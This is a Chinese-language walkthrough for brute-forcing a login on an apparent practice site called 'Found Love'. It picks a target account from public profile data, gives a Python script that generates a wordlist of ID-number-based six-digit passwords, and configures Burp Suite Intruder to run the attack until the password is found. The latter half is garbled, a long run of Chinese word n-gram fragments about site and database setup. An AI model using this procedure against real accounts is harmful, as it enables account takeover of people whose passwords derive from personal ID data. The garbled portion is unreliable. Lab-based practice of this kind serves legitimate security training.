经过查看网页公开用户信息,选定想要暴破的目标账户 在首页轮播中,选中一位用户,可以看见其邮箱为:[email protected],编号为:124; 我们选定这个账户为攻击目标。 对密码规则进行构建密码本(C++版本、python版本择一进行) 构建密码本:按理来说六位数可以生成10的6次方个数,也就是1000000,但是因为是身份证后六位,所以有所区别: 前两位是日期,所以一定是 ”01-31” 之间的数; 倒数第二位是性别验证,如果能知道攻击目标的性别,这里一下也可以去掉一半的无效密码字典,但是这里并没有明确知道性别; 最后一位校验位可能出现X,但是概率很小,而且密码设定的时候,X通常会用某数代替,比如说0; 现在规则说清楚了之后,可以开始写脚本生成密码本: Python: 在id_number.py文件中构建如下代码: print ('password set') passwords = open('passwords.txt','w') for i in range(1, 32): day = str(i) if (i < 10): day = '0' + day for j in range(100): if (j < 10): dayafter = '0' + str(j) else: dayafter = str(j) for k in range(100): end = str(k) if(k<10): end = '0' + end password = day+dayafter+end passwords.write('\n'+password) print(password+'\n') passwords.close() 然后在控制台运行(这一步在Linux和Windows环境下操作相同),python id_number.py,即可生成密码本passwords.txt BP入门,代理等配置设置 现在,目标账户已经锁定,并且知道用户ID和注册邮箱,然后密码本已经生成,接下来就正式进入爆破阶段,在此之前,需要设置一下Burp suite(BP),关于BP在工具阶段已经介绍了,这里就直接开始网络代理设置部分的介绍: 使用火狐浏览器,打开新标签,并输入:about:preferences ,在常规这一部分,滚到最下方有个网络设置 点击进入,选择手动代理配置,并且把内容配置成如图,目的是使用127.0.0.1代理,这样就可以在bp进行拦截,相当于每次传输都要经过bp,这样我们就可以利用bp对传输信息进行分析利用: 接下来进入bp的proxy一栏,打开intercept,显示如图: 在火狐浏览器打开Found Love的网站,在Login登录选项随机输入密码,如果bp效果如下图,则代表设置成功: BP加密码本暴破选定目标账户 此时我们看到的Raw里的内容就是传输的包,我们分析一下,很明显可以看到,email=fondlove%40outlook.com&password=57657456&rem=1&login=, 最后一行有两块可疑内容:email和password,57657456就是刚刚随机输入的密码,如果能够把这一块进行设置,加上密码本就能找出密码,点击Action,进入Send to Intruder。 接下来就是爆破的核心几步: (1)进入Intruder,可以看到target部分已经预设好,这里就不需要再管了,因为这是从之前截获的包里提取出来的; (2)进入positions,还记得我们一开始说的值得怀疑的地方吗?这里可以看到,bp已经帮我们加了§括起来,但是除了怀疑的password别的也在括起来了。 这里需要说明的就是,bp把所有可变因素都给括起来的,我们只需要password是可变的,因此可以选中不需要的元素,然后用Clear§按钮去掉§符号 (3)需要额外说明,最上方的attack type: ① Sniper(狙击手模式) 针对单一密码,假设确定了两个位置A和B,然后密码包payload里有两个密码1、2,那么攻击模式如下: Attack No. Position A Position B 0 1 Null 1 2 Null 2 Null 1 3 Null 2 一次只会对一个位置进行攻击! ② Battering ram(攻城锤模式) 与sniper模式不同的地方在于,同样情况下,攻击次数减半,每次两个位置用同样的密码,如表: Attack No. Position A Position B 0 1 1 1 2 2 ③ Pitchfork(叉子模式) 跟前两种不同的地方在于,可以多组密码本payload,又于battering ram相同的地方在于,一一对应,现在添加包含3、4的密码本payload,暴力破解过程如表: Attack No. Position A Position B 0 1 3 1 2 4 ④ Cluster bomb(炸弹模式) 跟叉子模式相似的是多个密码本对应多个位置,不同的是不再是一一对应,而是交叉组合,每一个密码本里的密码都对应于另一密码本所有密码,如表: Attack No. Position A Position B 0 1 3 1 2 3 2 1 4 3 2 4 此处我们仅在password位置设置密码本,因此选择狙击手模式。 (4)进入Payloads,此时在传输包方面的设置已经完成,只剩下加载密码本了,Payload Options处有load功能,点击加载我们之前创建的密码本: (5)点击Start Attack进入爆破。 (6)等待爆破结束及说明 当进入如图界面时,剩下的就是等待了,三个框中,最底下的代表的就是进度,代表当前已经跑过多少密码了;中间的小框有两个:Request、Response,一个是请求界面,一个是回返界面,当我们想要查看密码是否正确的时候,可以点击Response查看;当我们想要看时候有正确密码产生的时候,可以点击length(代表的是反应时长,因为密码正确和错误所反馈的时间是不同的),发现异常时长时,即可点击Response查看; (7)爆破结束 可以看到密码在014523处时间变少,跟其他的都不一样,并且在response里看到有Login success!字样,说明爆破成功,此时回到foundlove网站,用邮箱密码登录即可看到如图效果。(当我们再次操作浏览器时,要在bp的proxy处关掉intercept) 当想要载再次进行此实验的时候可以点击logout退出即可 传图 图太 太渣 传图太 图太渣 传图太渣 要想 想复 复现 要想复 想复现 要想复现 可以 以去 去看 看雪 雪看 看带 带图 图的 的帖 帖子 可以去 以去看 去看雪 看雪看 雪看带 看带图 带图的 图的帖 的帖子 可以去看 以去看雪 去看雪看 看雪看带 雪看带图 看带图的 带图的帖 图的帖子 一个 个借 借助 一个借 个借助 一个借助 实现 现的 的注 注册 册登 登录 录平 平台 实现的 现的注 的注册 注册登 册登录 登录平 录平台 实现的注 现的注册 的注册登 注册登录 册登录平 登录平台 主要 要用 用于 于模 模拟 拟暴 暴力 力破 破解 解靶 靶场 场环 环境 主要用 要用于 用于模 于模拟 模拟暴 拟暴力 暴力破 力破解 破解靶 解靶场 靶场环 场环境 主要用于 要用于模 用于模拟 于模拟暴 模拟暴力 拟暴力破 暴力破解 力破解靶 破解靶场 解靶场环 靶场环境 构建 建网 网站 构建网 建网站 构建网站 把本 本项 项目 目当 当作 作网 站用 把本项 本项目 项目当 目当作 当作网 作网站 网站用 把本项目 本项目当 项目当作 目当作网 当作网站 作网站用 展现 现出 出来 展现出 现出来 展现出来 数据 据库 库构 数据库 据库构 库构建 数据库构 据库构建 如图 图通 通过 如图通 图通过 如图通过 进入 主页 然后 后按 按图 图中 中顺 顺序 然后按 后按图 按图中 图中顺 中顺序 然后按图 后按图中 按图中顺 图中顺序 新建 图构 建一 个叫 叫做 如图构 图构建 构建一 建一个 一个叫 个叫做 如图构建 图构建一 构建一个 建一个叫 一个叫做 的表 并令 令其 其字 字段 段数 数为 并令其 令其字 其字段 字段数 段数为 并令其字 令其字段 其字段数 字段数为 点击 击执 执行 点击执 击执行 点击执行 将三 三个 个数 据如 图设 设置 将三个 三个数 个数据 数据如 据如图 如图设 图设置 将三个数 三个数据 个数据如 数据如图 据如图设 如图设置 后保 保存 然后保 后保存 然后保存 只要 要看 看到 到下 下面 面的 的截 截图 图即 即设 置成 成功 只要看 要看到 看到下 到下面 下面的 面的截 的截图 截图即 图即设 即设置 设置成 置成功 只要看到 要看到下 看到下面 到下面的 下面的截 面的截图 的截图即 截图即设 图即设置 即设置成 设置成功 库后 后端 端配 配置 据库后 库后端 后端配 端配置 数据库后 据库后端 库后端配 后端配置 在网 站源 源码 码的 在网站 网站源 站源码 源码的 在网站源 网站源码 站源码的 文件 件下 下修 修改 改数 库配 文件下 件下修 下修改 修改数 改数据 据库配 库配置 文件下修 件下修改 下修改数 修改数据 改数据库 数据库配 据库配置 分别 别是 是数 库的 的用 用户 户名 名和 和密 密码 分别是 别是数 是数据 据库的 库的用 的用户 用户名 户名和 名和密 和密码 分别是数 别是数据 是数据库 数据库的 据库的用 库的用户 的用户名 用户名和 户名和密 名和密码 看一 一下 看一下 有个 库一 一栏 有个数 据库一 库一栏 有个数据 个数据库 数据库一 据库一栏 进去 去之 之后 后可 以修 进去之 去之后 之后可 后可以 可以修 以修改 进去之后 去之后可 之后可以 后可以修 可以修改 保证 证这 这里 里的 的和 保证这 证这里 这里的 里的和 保证这里 证这里的 这里的和 的一 一致 里的一 的一致 里的一致 访问 问验 验证 访问验 问验证 访问验证 在浏 浏览 览器 器中 中访 问刚 刚刚 刚设 置的 的域 域名 在浏览 浏览器 览器中 器中访 中访问 访问刚 问刚刚 刚刚设 刚设置 设置的 置的域 的域名 在浏览器 浏览器中 览器中访 器中访问 中访问刚 访问刚刚 问刚刚设 刚刚设置 刚设置的 设置的域 置的域名 测试 试是 是否 否能 能成 功访 测试是 试是否 是否能 否能成 能成功 成功访 功访问 测试是否 试是否能 是否能成 否能成功 能成功访 成功访问 如果 果正 正常 常显 显示 示表 表面 如果正 果正常 正常显 常显示 显示表 示表面 如果正常 果正常显 正常显示 常显示表 显示表面 后在 然后在 地方 方注 册一 个新 新账 账户 地方注 方注册 注册一 册一个 一个新 个新账 新账户 地方注册 方注册一 注册一个 册一个新 一个新账 个新账户 果反 反馈 馈注 册成 如果反 果反馈 反馈注 馈注册 注册成 册成功 如果反馈 果反馈注 反馈注册 馈注册成 注册成功 则说 说明 明数 库连 连接 接成